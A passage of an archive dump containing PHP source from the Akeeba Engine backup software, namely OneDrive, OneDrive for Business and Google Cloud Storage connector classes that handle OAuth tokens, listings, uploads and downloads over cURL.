		// Set the cURL options at once
		@curl_setopt_array($ch, $options);

		// Set the follow location flag
		if ($followRedirect)
		{
			@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		}

		// Execute and parse the response
		$response     = curl_exec($ch);
		$errNo        = curl_errno($ch);
		$error        = curl_error($ch);
		$lastHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		// Close open file pointers
		if ($fp)
		{
			$this->conditionalFileClose($fp);

			if ($expectHttpStatus && ($expectHttpStatus != $lastHttpCode))
			{
				if ($file)
				{
					@unlink($file);
				}

				throw new RuntimeException("Unexpected HTTP status $lastHttpCode", $lastHttpCode);
			}
		}

		// Did we have a cURL error?
		if ($errNo)
		{
			throw new RuntimeException("cURL error $errNo: $error", 500);
		}

		if ($expectHttpStatus)
		{
			if ($expectHttpStatus == $lastHttpCode)
			{
				return [];
			}
		}

		if ($noParse)
		{
			return $response;
		}

		// Parse the response
		$response = json_decode($response, true);

		// Did we get invalid JSON data?
		if (!$response)
		{
			throw new RuntimeException("Invalid JSON data received", 500);
		}

		// Did we get an error response?
		if (isset($response['error']) && is_array($response['error']))
		{
			$error            = $response['error']['code'];
			$errorDescription = $response['error']['message'] ?? 'No error description provided';

			throw new RuntimeException("Error $error: $errorDescription", 500);
		}

		// Did we get an error response (from the helper script)?
		if (isset($response['error']))
		{
			$error            = $response['error'];
			$errorDescription = $response['error_description'] ?? 'No error description provided';

			throw new RuntimeException("Error $error: $errorDescription", 500);
		}

		return $response;
	}

	/**
	 * Normalize the path of a resource inside the Drive
	 *
	 * @param   string  $relativePath  The relative path to the Drive's root
	 * @param   string  $collection    The collection of the path you want to access or an action, e.g. 'children',
	 *                                 'content', 'action.copy' etc
	 *
	 * @return string
	 */
	protected function normalizeDrivePath($relativePath, $collection = '')
	{
		$relativePath = trim($relativePath, '/');

		if (empty($relativePath))
		{
			$path = '/drive/root';

			if ($collection)
			{
				$path .= '/' . $collection;
			}

			return $path;
		}

		$path = '/drive/root:/' . $relativePath;

		if ($collection)
		{
			$path .= ':/' . $collection;
		}

		$path = str_replace(' ', '%20', $path);

		return $path;
	}

	/**
	 * @return string
	 */
	protected function getRefreshUrl()
	{
		return static::helperUrl . '?refresh_token=' . urlencode($this->refreshToken) . '&dlid=' . urlencode($this->dlid);
	}
}
PK     \Ż;"  ;"  C  vendor/akeeba/engine/engine/Postproc/Connector/OneDriveBusiness.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

class OneDriveBusiness extends OneDrive
{
	/**
	 * The URL of the helper script which is used to get fresh API tokens
	 */
	public const helperUrl = 'https://www.akeeba.com/oauth2/onedrivebusiness.php';

	/**
	 * Size limit for single part uploads.
	 *
	 * This is 4MB per https://docs.microsoft.com/en-us/graph/api/driveitem-put-content?view=graph-rest-1.0&tabs=http
	 */
	public const simpleUploadSizeLimit = 4194304;

	/**
	 * Item property to set the name conflict behavior
	 *
	 * @see https://docs.microsoft.com/en-us/onedrive/developer/rest-api/concepts/direct-endpoint-differences?view=odsp-graph-online#instance-annotations
	 */
	public const nameConflictBehavior = '@microsoft.graph.conflictBehavior';

	/**
	 * The root URL for the MS Graph API
	 *
	 * @see  https://docs.microsoft.com/en-us/graph/api/resources/onedrive?view=graph-rest-1.0
	 */
	protected $rootUrl = 'https://graph.microsoft.com/v1.0/me/';

	/**
	 * The Drive ID we are connecting to.
	 *
	 * @var   string|null
	 * @since 9.2.2
	 */
	private $driveId;

	private $refreshUrl = '';

	public function __construct(?string $accessToken, ?string $refreshToken, ?string $dlid = null, ?string $driveId = null, $refreshUrl = '')
	{
		parent::__construct($accessToken, $refreshToken, $dlid);

		$this->setDriveId($driveId);
		$this->refreshUrl   = $refreshUrl ?: self::helperUrl;
	}

	/**
	 * Get the raw listing of a folder
	 *
	 * @param   string  $path          The relative path of the folder to list its contents
	 * @param   string  $searchString  If set returns only items matching the search criteria
	 *
	 * @return  array  See http://onedrive.github.io/items/list.htm
	 *
	 * @see https://docs.microsoft.com/en-us/graph/api/driveitem-list-children?view=graph-rest-1.0&tabs=http
	 * @see https://docs.microsoft.com/en-us/graph/api/driveitem-search?view=graph-rest-1.0&tabs=http
	 */
	public function getRawContents($path, $searchString = null)
	{
		$collection  = empty($searchString) ? 'children' : 'search';
		$relativeUrl = $this->normalizeDrivePath($path, $collection);

		/**
		 * Search for items?
		 *
		 * @see https://docs.microsoft.com/en-us/graph/api/driveitem-search?view=graph-rest-1.0&tabs=http
		 */
		if ($searchString)
		{
			$relativeUrl .= sprintf('(q=\'%s\')', urlencode($searchString));
		}

		$result = $this->fetch('GET', $relativeUrl);

		return $result;
	}

	/**
	 * Creates a new multipart upload session and returns its upload URL
	 *
	 * @param   string  $path  Relative path in the Drive
	 *
	 * @return  string  The upload URL for the session
	 */
	public function createUploadSession($path)
	{
		$relativeUrl = $this->normalizeDrivePath($path, 'createUploadSession');

		$explicitPost = (object) [
			'item' => [
				static::nameConflictBehavior => 'replace',
				'name'                       => basename($path),
			],
		];

		$explicitPost = json_encode($explicitPost);

		$info = $this->fetch('POST', $relativeUrl, [
			'headers' => [
				'Content-Type: application/json',
			],
		], $explicitPost);

		return $info['uploadUrl'];
	}

	/**
	 * Get a signed (pre-authenticated) download URL for the remote file.
	 *
	 * Unlike the legacy consumer OneDrive API, the Microsoft Graph API does not expose a usable download URL through the
	 * redirect Location of the `/content` endpoint with an appended `access_token`: that produces a short-lived,
	 * download.aspx URL that breaks when query parameters are tacked on, returning an HTML error page instead of the
	 * file. Graph instead surfaces a fully pre-authenticated, time-limited URL as the `@microsoft.graph.downloadUrl`
	 * property of the item's metadata. We use that directly.
	 *
	 * @param   string  $path   Relative path to the Drive's root
	 * @param   bool    $retry  Should I refresh the token and retry once if the URL cannot be retrieved?
	 *
	 * @return  string  Pre-authenticated URL to download the file's contents
	 *
	 * @see https://docs.microsoft.com/en-us/graph/api/driveitem-get?view=graph-rest-1.0&tabs=http#download-a-file
	 */
	public function getSignedUrl($path, $retry = true)
	{
		$relativeUrl = $this->normalizeDrivePath($path);

		$metadata = $this->fetch('GET', $relativeUrl);

		$downloadUrl = $metadata['@microsoft.graph.downloadUrl'] ?? $metadata['@content.downloadUrl'] ?? null;

		if (!empty($downloadUrl))
		{
			return $downloadUrl;
		}

		// We failed to get a download URL. This usually means the access token has expired. Refresh it and retry once.
		if ($retry)
		{
			$this->refreshToken();

			return $this->getSignedUrl($path, false);
		}

		throw new \RuntimeException('Could not get the download URL', 500);
	}

	/**
	 * Get a list of Drives accessible to this user's account.
	 *
	 * @return  array  String indexed array of Drive ID => User readable name.
	 *
	 * @since   9.2.2
	 */
	public function getDrives()
	{
		$relativeUrl = 'drives';

		$result = $this->fetch('GET', $relativeUrl);

		$translate = function ($string)
		{
			$translation = $string;

			if (class_exists(\Joomla\CMS\Language\Text::class))
			{
				$translation = \Joomla\CMS\Language\Text::_($string);
			}

			if (class_exists(\Awf\Text\Text::class))
			{
				$translation = \Awf\Text\Text::_($string);
			}

			if ($translation === $string && substr($string, 0, 11) === 'COM_AKEEBA_')
			{
				$string = 'COM_AKEEBABACKUP_' . substr($string, 11);
			}

			if (class_exists(\Joomla\CMS\Language\Text::class))
			{
				$translation = \Joomla\CMS\Language\Text::_($string);
			}

			if (class_exists(\Awf\Text\Text::class))
			{
				$translation = \Awf\Text\Text::_($string);
			}

			return $translation;
		};

		if (empty($result) || !is_array($result) || !isset($result['value']) || !is_array($result['value']) || empty($result['value']))
		{
			return [
				'' => 'Drive (OneDrive Personal)',
			];
		}

		$keys   = array_map(function ($driveArray) {
			return $driveArray['id'] ?? '';
		}, $result['value']);
		$values = array_map(function ($driveArray) {
			$description = $driveArray['description'] ?? 'Drive';

			switch ($driveArray['driveType'] ?? 'personal')
			{
				case 'personal':
					$type = 'OneDrive Personal';
					break;

				case 'business':
					$type = 'OneDrive for Business';
					break;

				case 'documentLibrary':
					$type = 'SharePoint';
					break;
			}

			return sprintf('%s (%s)', $description, $type);
		}, $result['value']);

		return array_combine($keys, $values);
	}

	/**
	 * Set the effective Drive ID
	 *
	 * @param   string|null  $driveId
	 *
	 * @return  void
	 */
	public function setDriveId(?string $driveId)
	{
		$this->driveId = $driveId;

		$this->rootUrl = empty($this->driveId) ? 'https://graph.microsoft.com/v1.0/me/' : 'https://graph.microsoft.com/v1.0/';
	}

	protected function normalizeDrivePath($relativePath, $collection = '')
	{
		if (empty($this->driveId))
		{
			return parent::normalizeDrivePath($relativePath, $collection);
		}

		$relativePath = trim($relativePath, '/');

		if (empty($relativePath))
		{
			$path = '/drives/' . $this->driveId . '/items/root';

			if ($collection)
			{
				$path .= '/' . $collection;
			}

			return $path;
		}

		$path = '/drives/' . $this->driveId . '/items/root:/' . $relativePath;

		if ($collection)
		{
			$path = sprintf("/drives/%s/root:/%s:/%s", $this->driveId, $relativePath, $collection);
		}

		$path = str_replace(' ', '%20', $path);

		return $path;
	}

	protected function getRefreshUrl()
	{
		if (empty($this->refreshUrl))
		{
			throw new \RuntimeException('The OAuth2 Refresh URL is empty. Please check your backup profile\'s configuration.');
		}

		$refreshUrl = $this->refreshUrl .
		              (strpos($this->refreshUrl, '?') === false ? '?' : '&')
		              . 'refresh_token=' . urlencode($this->refreshToken);

		if (strpos($refreshUrl, self::helperUrl) === 0)
		{
			$refreshUrl .= '&dlid=' . urlencode($this->dlid);
		}

		return $refreshUrl;
	}
}
PK     \Iei  i  @  vendor/akeeba/engine/engine/Postproc/Connector/GoogleStorage.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use Exception;
use RuntimeException;

class GoogleStorage
{
	use FileCloseAware;
	use ProxyAware;

	/**
	 * The root URL for the Google Storage v1 JSON API
	 *
	 * Note: as of June 20th, 2019 the recommended API domain is storage.googleapis.com instead of www.googleapis.com.
	 * This is an optional change until June 20th, 2020, when the old endpoint is turned off.
	 *
	 * @see  https://cloud.google.com/storage/docs/json_api/v1/
	 */
	public const rootUrl = 'https://storage.googleapis.com/storage/v1/';

	/**
	 * The upload URL for the Google Storage v1 file storage API
	 *
	 * @see  https://cloud.google.com/storage/docs/json_api/v1/how-tos/simple-upload
	 */
	public const uploadUrl = 'https://www.googleapis.com/upload/storage/v1/';

	/**
	 * The URL of the OAuth2 token service
	 */
	public const tokenUrl = 'https://www.googleapis.com/oauth2/v4/token';

	/**
	 * The access token for connecting to Google Storage
	 *
	 * @var   string
	 */
	private $accessToken = '';

	/**
	 * The PEM-encoded private key for the Google Cloud Service Account we are going to use. This is given to you by
	 * Google in a JSON file.
	 *
	 * @var   string
	 */
	private $privateKey = '';

	/**
	 * The Google Cloud Service Account (fake) email address. This is given to you by Google in a JSON file.
	 *
	 * @var   string
	 */
	private $clientEmail = '';

	/**
	 * When does the access token expire (in UNIX epoch)?
	 *
	 * @var   int
	 */
	private $expires = 0;

	/**
	 * A pre-calculated JWT assertion, used to make a request for an access token to Google's servers
	 *
	 * @var   string
	 */
	private $jwtAssertion = '';

	/**
	 * Default cURL options
	 *
	 * @var array
	 */
	private $defaultOptions = [
		CURLOPT_SSL_VERIFYPEER => true,
		CURLOPT_SSL_VERIFYHOST => true,
		CURLOPT_VERBOSE        => false,
		CURLOPT_HEADER         => false,
		CURLINFO_HEADER_OUT    => false,
		CURLOPT_RETURNTRANSFER => true,
		CURLOPT_CAINFO         => AKEEBA_CACERT_PEM,
	];

	/**
	 * Public constructor. Both parameters are given to you by Google in a JSON file.
	 *
	 * Instructions:
	 * Go to https://console.developers.google.com/permissions/serviceaccounts?pli=1
	 * Select the API Project where your Google Storage bucket is already located in.
	 * Click on Create Service Account
	 * Set the Service Account Name to Akeeba Backup Service Account
	 * Click on Role and select Storage > Storage Admin (do NOT select Storage Object Admin instead IT WILL NOT WORK!!!)
	 * Check the "Furnish a new private key" checkbox. The Key Type section appears. Make sure JSON is selected.
	 * Click on the CREATE link at the bottom right.
	 * Your server prompts you to download a file. Save it as googlestorage.json
	 * Open the googlestorage.json. client_email --> $serviceEmail, private_key --> $privateKeyPEM
	 *
	 * @param   string  $serviceEmail   The Google Cloud Service Account (fake) email address.
	 * @param   string  $privateKeyPEM  The Google Cloud Service Account private key in PEM format.
	 */
	public function __construct($serviceEmail, $privateKeyPEM)
	{
		$this->clientEmail = $serviceEmail;
		$this->privateKey  = $privateKeyPEM;
		$this->accessToken = null;
		$this->expires     = time() - 1;
	}

	/**
	 * List all buckets under the user's account
	 *
	 * @param   string  $project_id  A valid API project identifier
	 *
	 * @return  array  See https://cloud.google.com/storage/docs/json_api/v1/buckets/list
	 */
	public function listBuckets($project_id)
	{
		$relativeUrl = 'b?project=' . urlencode($project_id);

		$result = $this->fetch('GET', $relativeUrl);

		return $result;
	}

	/**
	 * Get the raw listing of a bucket (either root or a specific path)
	 *
	 * @param   string  $bucket      The bucket containing the path
	 * @param   string  $path        The relative path of the folder to list its contents
	 * @param   int     $maxResults  Maximum number of results to return per page
	 * @param   string  $pageToken   Page token returned by the API, for resuming listing paginated results
	 *
	 * @return  array  See http://onedrive.github.io/items/list.htm
	 *
	 * @see  https://cloud.google.com/storage/docs/json_api/v1/objects/list
	 */
	public function getRawContents($bucket, $path = '/', $maxResults = 1000, $pageToken = null)
	{
		$relativeUrl = 'b/' . $bucket . '/o';
		$path        = $this->normalizePath($path);

		// Normalize maxResults in the range 1-1000
		$maxResults = max(1, $maxResults);
		$maxResults = min($maxResults, 1000);

		$relativeUrl .= '?orderby=name%20asc&delimiter=/&maxResults=' . $maxResults;

		if (!empty($path))
		{
			$relativeUrl .= '&prefix=' . $this->normalizePath($path);
		}

		if (!empty($pageToken))
		{
			$relativeUrl .= '&pageToken=' . $pageToken;
		}

		$result = $this->fetch('GET', $relativeUrl);

		return $result;
	}

	/**
	 * Get the processed listing of a folder. Goes through all the pages of the results.
	 *
	 * @param   string  $bucket  The bucket containing the path to list
	 * @param   string  $path    The relative path of the folder to list its contents
	 *
	 * @return  array  Two arrays under keys folders and files. Folders is a list of folders (prefixes). Files has the
	 *                 file name as key and size in bytes as value
	 */
	public function listContents($bucket, $path = '/')
	{
		$return = [
			'files'   => [],
			'folders' => [],
		];

		$pageToken = null;

		do
		{
			$result = $this->getRawContents($bucket, $path);

			$pageToken = $result['nextPageToken'] ?? null;

			if (isset($result['prefixes']))
			{
				$return['folders'] = $result['prefixes'];
			}

			if (!isset($result['items']) && !(is_array($result['items']) || $result['items'] instanceof \Countable ? count($result['items']) : 0))
			{
				return $return;
			}

			foreach ($result['items'] as $item)
			{
				/** @see https://cloud.google.com/storage/docs/json_api/v1/objects#resource */
				$return['files'][$item['name']] = $item['size'];
			}

		} while (!is_null($pageToken));


		return $return;
	}

	/**
	 * Delete a file
	 *
	 * @param   string  $bucket       The bucket containing the path
	 * @param   string  $path         The relative path to the file to delete
	 * @param   bool    $failOnError  Throw exception if the deletion fails? Default true.
	 *
	 * @return  bool  True on success
	 *
	 * @throws  Exception
	 */
	public function delete($bucket, $path, $failOnError = true)
	{
		$relativeUrl = 'b/' . $bucket . '/o/' . $this->normalizePath($path);

		try
		{
			$result = $this->fetch('DELETE', $relativeUrl);
		}
		catch (Exception $e)
		{
			if (!$failOnError)
			{
				return false;
			}

			throw $e;
		}

		return true;
	}

	/**
	 * Download a remote file
	 *
	 * @param   string  $bucket     The bucket containing the path
	 * @param   string  $path       The path of the file in Google Storage
	 * @param   string  $localFile  The absolute filesystem path where the file will be downloaded to
	 */
	public function download($bucket, $path, $localFile)
	{
		$relativeUrl = 'b/' . $bucket . '/o/' . $this->normalizePath($path) . '?alt=media';

		$this->fetch('GET', $relativeUrl, [
			'file' => $localFile,
		]);
	}

	/**
	 * Uploads a file. You should only use it for files up to 5Mb.
	 *
	 * @param   string       $bucket        The bucket containing the path
	 * @param   string       $path          The path of the file in Google Storage
	 * @param   string       $localFile     The absolute local filesystem path to upload from
	 * @param   null|string  $storageClass  Storage Class. Leave null to use the bucket's default storage class.
	 *
	 * @return  array  See
	 *
	 * @see  https://cloud.google.com/storage/docs/json_api/v1/how-tos/simple-upload
	 */
	public function simpleUpload($bucket, $path, $localFile, $storageClass = null)
	{
		// Get the file size
		clearstatcache();
		$filesize = @filesize($localFile);

		// Normalize the storage class
		$storageClass = $this->normalizeStorageClass($storageClass);

		// Get the relative URL
		$relativeUrl =
			self::uploadUrl .
			'b/' . $bucket . '/o?uploadType=media&name=' . $this->normalizePath($path);

		if (!empty($storageClass))
		{
			$relativeUrl .= '&storageClass=' . urlencode($storageClass);
		}

		$additional = [
			'file'     => $localFile,
			'headers'  => [
				'Content-Type: application/octet-stream',
				'Content-Length: ' . $filesize,
			],
			'no-parse' => true,
		];

		$response = $this->fetch('POST', $relativeUrl, $additional);

		return $response;
	}

	/**
	 * Creates a new resumable upload session and returns its upload URL
	 *
	 * @param   string       $bucket        The bucket containing the path
	 * @param   string       $path          The path of the file in Google Storage
	 * @param   string       $localFile     The absolute local filesystem path to upload from
	 * @param   null|string  $storageClass  Storage Class. Leave null to use the bucket's default storage class.
	 *
	 * @return  string  The upload URL for the session
	 *
	 * @see  https://cloud.google.com/storage/docs/json_api/v1/how-tos/resumable-upload
	 */
	public function createUploadSession($bucket, $path, $localFile, $storageClass = null)
	{
		// Get the file size
		clearstatcache();
		$filesize = @filesize($localFile);

		// Normalize the storage class
		$storageClass = $this->normalizeStorageClass($storageClass);

		// Get the relative URL
		$relativeUrl =
			self::uploadUrl .
			'b/' . $bucket . '/o?uploadType=resumable';

		/**
		 * IMPORTANT! Despite the Google API docs claiming that all paths need to have special characters URL-encoded,
		 *            this is NOT the case for resumable uploads *even when POSTing the filename in a JSON payload*. You
		 *            need to pass it raw to json_encode and let the JSON encoder escape it. This is completely against
		 *            the documentation and completely different to literally every other API call!
		 */
		$payloadData = [
			'name' => $path,
		];

		if (!empty($storageClass))
		{
			$payloadData['storageClass'] = $storageClass;
		}

		$json = json_encode($payloadData);

		$response = $this->fetch('POST', $relativeUrl, [
			'headers'         => [
				'Content-Type: application/json; charset=UTF-8',
				'X-Upload-Content-Type: application/octet-stream',
				'X-Upload-Content-Length: ' . (int) $filesize,
			],
			'curl-options'    => [
				CURLOPT_HEADER => 1,
			],
			'no-parse'        => true,
			'follow-redirect' => false,
		], $json);

		$lines = explode("\r\n", $response);

		foreach ($lines as $line)
		{
			if (stripos($line, 'Location: ') === 0)
			{
				[$header, $location] = explode(': ', $line, 2);

				return $location;
			}
		}

		throw new RuntimeException('Could not start an upload session', 500);
	}

	/**
	 * Upload a part
	 *
	 * @param   string  $sessionUrl  The upload session URL, see createUploadSession
	 * @param   string  $localFile   Absolute filesystem path of the source file
	 * @param   int     $from        Starting byte to begin uploading, default is 0 (start of file)
	 * @param   int     $length      Chunk size in bytes, default 1MB.
	 *
	 * @return  array  Empty while the upload is incomplete, upload information when complete
	 *
	 * @see  https://cloud.google.com/storage/docs/json_api/v1/how-tos/resumable-upload
	 */
	public function uploadPart($sessionUrl, $localFile, $from = 0, $length = 1048576)
	{
		clearstatcache();
		$totalSize = filesize($localFile);
		$to        = $from + $length - 1;

		if ($to > ($totalSize - 1))
		{
			$to = $totalSize - 1;
		}

		$contentLength = $to - $from + 1;

		$range = "$from-$to/$totalSize";

		$additional = [
			'headers'       => [
				'Content-Length: ' . $contentLength,
				'Content-Range: bytes ' . $range,
			],
			'expect-status' => [308, 200, 201],
		];

		$fp = @fopen($localFile, 'r');

		if ($fp === false)
		{
			throw new RuntimeException("Could not open $localFile for reading", 500);
		}

		fseek($fp, $from);
		$data = fread($fp, $contentLength);
		$this->conditionalFileClose($fp);

		return $this->fetch('PUT', $sessionUrl, $additional, $data);
	}

	/**
	 * Upload a file using multipart uploads. Useful for files over 100Mb and up to 2Gb.
	 *
	 * @param   string  $bucket     The bucket containing the path
	 * @param   string  $path       Relative path in the Drive
	 * @param   string  $localFile  Absolute filesystem path of the source file
	 * @param   int     $partSize   Part size in bytes, default 1MB.
	 *
	 * @return  array  File metadata
	 */
	public function resumableUpload($bucket, $path, $localFile, $partSize = 1048576)
	{
		$sessionUrl = $this->createUploadSession($bucket, $path, $localFile);
		$from       = 0;

		while (true)
		{
			$result = $this->uploadPart($sessionUrl, $localFile, $from, $partSize);
			$from   += $partSize;

			// If the result doesn't have nextExpectedRanges we have finished uploading.
			if (isset($result['name']))
			{
				return $result;
			}
		}

		return $result;
	}

	/**
	 * Automatically decides which upload method to use to upload a file to Google Storage. This method will return
	 * when the entire file has been uploaded. If you want to implement staggered uploads use the createUploadSession
	 * and uploadPart methods.
	 *
	 * @param   string  $bucket     The bucket containing the path
	 * @param   string  $path       The remote path relative to Drive root
	 * @param   string  $localFile  The absolute local filesystem path
	 * @param   int     $partSize   The part size for resumable upload. Default 1MB.
	 *
	 * @return  array
	 */
	public function upload($bucket, $path, $localFile, $partSize = 1048576)
	{
		clearstatcache();
		$filesize = @filesize($localFile);

		// Bigger than 100Mb: use resumable uploads with default (10Mb) parts
		if ($filesize > $partSize)
		{
			return $this->resumableUpload($bucket, $path, $localFile);
		}

		// Smaller files, use simple upload
		return $this->simpleUpload($bucket, $path, $localFile);
	}

	/**
	 * Returns the service access token.
	 *
	 * If there is no access token, or if it has expired, we are fetching a new one.
	 *
	 * @return null|string
	 */
	protected function getToken()
	{
		// Less than a minute before the token expires? Expire it immediately.
		if ($this->expires < (time() - 60))
		{
			$this->accessToken = '';
		}

		if (empty($this->accessToken))
		{
			$explicitPost = 'grant_type=' . urlencode('urn:ietf:params:oauth:grant-type:jwt-bearer') .
				'&assertion=' . $this->getJWTAssertion($this->clientEmail, $this->privateKey);

			$result = $this->fetch('POST', self::tokenUrl, [
				'authenticated_request' => false,
				'headers'               => [
					'Content-Type: application/x-www-form-urlencoded',
				],
			], $explicitPost);

			if (!is_array($result) || empty($result) || !isset($result['access_token']) || !isset($result['expires_in']))
			{
				throw new RuntimeException("Cannot get access token from Google Cloud: invalid response", 500);
			}

			$this->accessToken = $result['access_token'];
			$this->expires     = time() + (int) $result['expires_in'];
		}

		return $this->accessToken;
	}

	/**
	 * Execute an API call
	 *
	 * @param   string  $method        The HTTP method
	 * @param   string  $relativeUrl   The relative URL to ping
	 * @param   array   $additional    Additional parameters
	 * @param   mixed   $explicitPost  Passed explicitly to POST requests if set, otherwise $additional is passed.
	 *
	 * @return  array
	 * @throws  RuntimeException
	 *
	 */
	protected function fetch($method, $relativeUrl, array $additional = [], $explicitPost = null)
	{
		// Get full URL, if required
		$url = $relativeUrl;

		if (substr($relativeUrl, 0, 6) != 'https:')
		{
			$url = self::rootUrl . ltrim($relativeUrl, '/');
		}

		// Should I expect a specific header?
		$expectHttpStatus = false;

		if (isset($additional['expect-status']))
		{
			$expectHttpStatus = $additional['expect-status'];
			unset($additional['expect-status']);
		}

		// Am I told to not parse the result?
		$noParse = false;

		if (isset($additional['no-parse']))
		{
			$noParse = $additional['no-parse'];
			unset ($additional['no-parse']);
		}

		// Am I told not to follow redirections?
		$followRedirect = true;

		if (isset($additional['follow-redirect']))
		{
			$followRedirect = $additional['follow-redirect'];
			unset ($additional['follow-redirect']);
		}

		// Initialise and execute a cURL request
		$ch = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		// Get the default options array
		$options = $this->defaultOptions;

		// Do I have explicit cURL options to add?
		if (isset($additional['curl-options']) && is_array($additional['curl-options']))
		{
			// We can't use array_merge since we have integer keys and array_merge reassigns them :(
			foreach ($additional['curl-options'] as $k => $v)
			{
				$options[$k] = $v;
			}
		}

		// Set up custom headers
		$headers = [];

		if (isset($additional['headers']))
		{
			$headers = $additional['headers'];
			unset ($additional['headers']);
		}

		// Add the authorization header
		$authenticated = true;

		if (isset($additional['authenticated_request']))
		{
			$authenticated = $additional['authenticated_request'];

			unset($additional['authenticated_request']);
		}

		if ($authenticated)
		{
			$headers[] = 'Authorization: Bearer ' . $this->getToken();
		}

		$options[CURLOPT_HTTPHEADER] = $headers;

		// Handle files
		$file = null;
		$fp   = null;

		if (isset($additional['file']))
		{
			$file = $additional['file'];
			unset ($additional['file']);
		}

		if (!isset($additional['fp']) && !empty($file))
		{
			$mode = ($method == 'GET') ? 'w' : 'r';
			$fp   = @fopen($file, $mode);
		}
		elseif (isset($additional['fp']))
		{
			$fp = $additional['fp'];
			unset($additional['fp']);
		}

		// Set up additional options
		if ($method == 'GET' && $fp)
		{
			$options[CURLOPT_RETURNTRANSFER] = false;
			$options[CURLOPT_HEADER]         = false;
			$options[CURLOPT_FILE]           = $fp;

			if (!$expectHttpStatus)
			{
				$expectHttpStatus = 200;
			}
		}
		elseif ($method == 'POST' && $fp)
		{
			$options[CURLOPT_POST]   = true;
			$options[CURLOPT_INFILE] = $fp;

			if ($file)
			{
				clearstatcache();
				$options[CURLOPT_INFILESIZE] = @filesize($file);
			}
			else
			{
				$options[CURLOPT_INFILESIZE] = strlen(stream_get_contents($fp));
			}

			fseek($fp, 0);
		}
		elseif ($method == 'POST')
		{
			$options[CURLOPT_POST] = true;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}
		elseif ($method == 'PUT' && $fp)
		{
			$options[CURLOPT_PUT]    = true;
			$options[CURLOPT_INFILE] = $fp;

			// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
			if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
			{
				$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
			}

			if ($file)
			{
				clearstatcache();
				$options[CURLOPT_INFILESIZE] = @filesize($file);
			}
			else
			{
				$options[CURLOPT_INFILESIZE] = strlen(stream_get_contents($fp));
			}

			fseek($fp, 0);
		}
		else // Any other HTTP method, e.g. DELETE
		{
			$options[CURLOPT_CUSTOMREQUEST] = $method;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}

		// Set the cURL options at once
		@curl_setopt_array($ch, $options);

		// Set the follow location flag
		if ($followRedirect)
		{
			@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		}

		// Execute and parse the response
		$response     = curl_exec($ch);
		$errNo        = curl_errno($ch);
		$error        = curl_error($ch);
		$lastHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		// Close open file pointers
		if ($fp)
		{
			$this->conditionalFileClose($fp);

			if (!empty($expectHttpStatus))
			{
				if (is_array($expectHttpStatus))
				{
					$correctStatus = in_array($lastHttpCode, $expectHttpStatus);
				}
				else
				{
					$correctStatus = $expectHttpStatus == $lastHttpCode;
				}

				if (!$correctStatus)
				{
					if ($file)
					{
						@unlink($file);
					}

					throw new RuntimeException("Unexpected HTTP status $lastHttpCode", $lastHttpCode);
				}
			}
		}

		// Did we have a cURL error?
		if ($errNo)
		{
			throw new RuntimeException("cURL error $errNo: $error", 500);
		}

		if ($expectHttpStatus)
		{
			if ($expectHttpStatus == $lastHttpCode)
			{
				return [];
			}
		}

		if ($noParse)
		{
			return $response;
		}

		if (empty($response))
		{
			return [];
		}

		// Parse the response
		$response = json_decode($response, true);

		// Did we get invalid JSON data?
		if (!$response)
		{
			throw new RuntimeException("Invalid JSON data received from Google Storage (something is broken on Google's side).", 500);
		}

		// Did we get an error response?
		if (isset($response['error']) && is_array($response['error']))
		{
			$error            = $response['error']['code'];
			$errorDescription = $response['error']['message'] ?? 'No error description provided';

			throw new RuntimeException("Error $error: $errorDescription", 500);
		}

		// Did we get an error response (from the helper script)?
		if (isset($response['error']))
		{
			$error            = $response['error'];
			$errorDescription = $response['error_description'] ?? 'No error description provided';

			throw new RuntimeException("Error $error: $errorDescription", 500);
		}

		return $response;
	}

	/**
	 * Removes leading and trailing forward slashes, then encodes the file path per the JSON API requirements,
	 *
	 * @param   string  $path
	 *
	 * @return  string
	 *
	 * @see  https://cloud.google.com/storage/docs/json_api/
	 */
	protected function normalizePath($path)
	{
		$path = trim($path, '/');

		// No path? Nothing to escape.
		if (empty($path))
		{
			return $path;
		}

		// Can we cheat?
